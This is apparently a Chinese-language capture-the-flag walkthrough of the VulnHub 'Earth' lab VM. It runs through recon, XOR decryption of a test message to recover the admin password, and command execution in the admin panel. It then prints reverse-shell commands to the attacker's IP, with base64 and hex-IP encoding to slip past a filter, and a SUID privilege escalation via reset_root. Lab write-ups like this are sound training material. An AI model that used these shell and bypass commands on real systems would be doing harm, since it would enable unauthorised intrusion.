下载地址:https://download.vulnhub.com/theplanets/Earth.ova
攻击者IP:192.168.56.132 nat vmare
受害者IP:192.168.56.148 仅主机 wxbox
参考:https://www.cnblogs.com/sainet/p/15638010.html
端口扫描
修改host文件
登录页面
接着目录扫描
发现robots.txt
发现目录https://terratest.earth.local/testingnotes
提示使用的是xor加密算法,并且有一个testdata.txt文档用于测试加密,用户名是terra
测试安全消息系统注意事项:*使用XOR加密作为算法,应该与在RSA中使用一样安全。*地球已经确认他们收到了我们发送的信息。*testdata.txt用于测试加密。*terra用作管理门户的用户名。待办事项:*我们如何安全地将每月密钥发送到地球?还是应该每周换一次钥匙?*需要测试不同的密钥长度以防止暴力。钥匙应该有多长?*需要改进消息界面和管理面板的界面,这是目前非常基本的。
使用脚本解密
import binasciidata1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()print(hex(int(data1,16) ^ int(f,16)))
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
解码后
earthclimatechangebad4humans
0xearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
使用账号密码登录
terra/earthclimatechangebad4humans
发现可以rce
反弹shell发现有过滤
编码绕过
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEzMi8xMTExIDA+JjE=" | base64 -d | bashbash -i >& /dev/tcp/0xc0.0xa8.0x0b.0x81/1234 0>&1
find / -perm -u=s -type f 2>/dev/null
使用 strings 命令可以帮助你从二进制文件中提取出可读的字符串
strings /usr/bin/reset_root
运行后出现报错
上传到kali
使用strace调试
strace reset reset_root
发现缺少3个文件引发的报错
创建这3个文件,运行reset_root后提示密码Earth
切换成root后,获得flag
原文始发于微信公众号(王之暴龙战神):earth
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论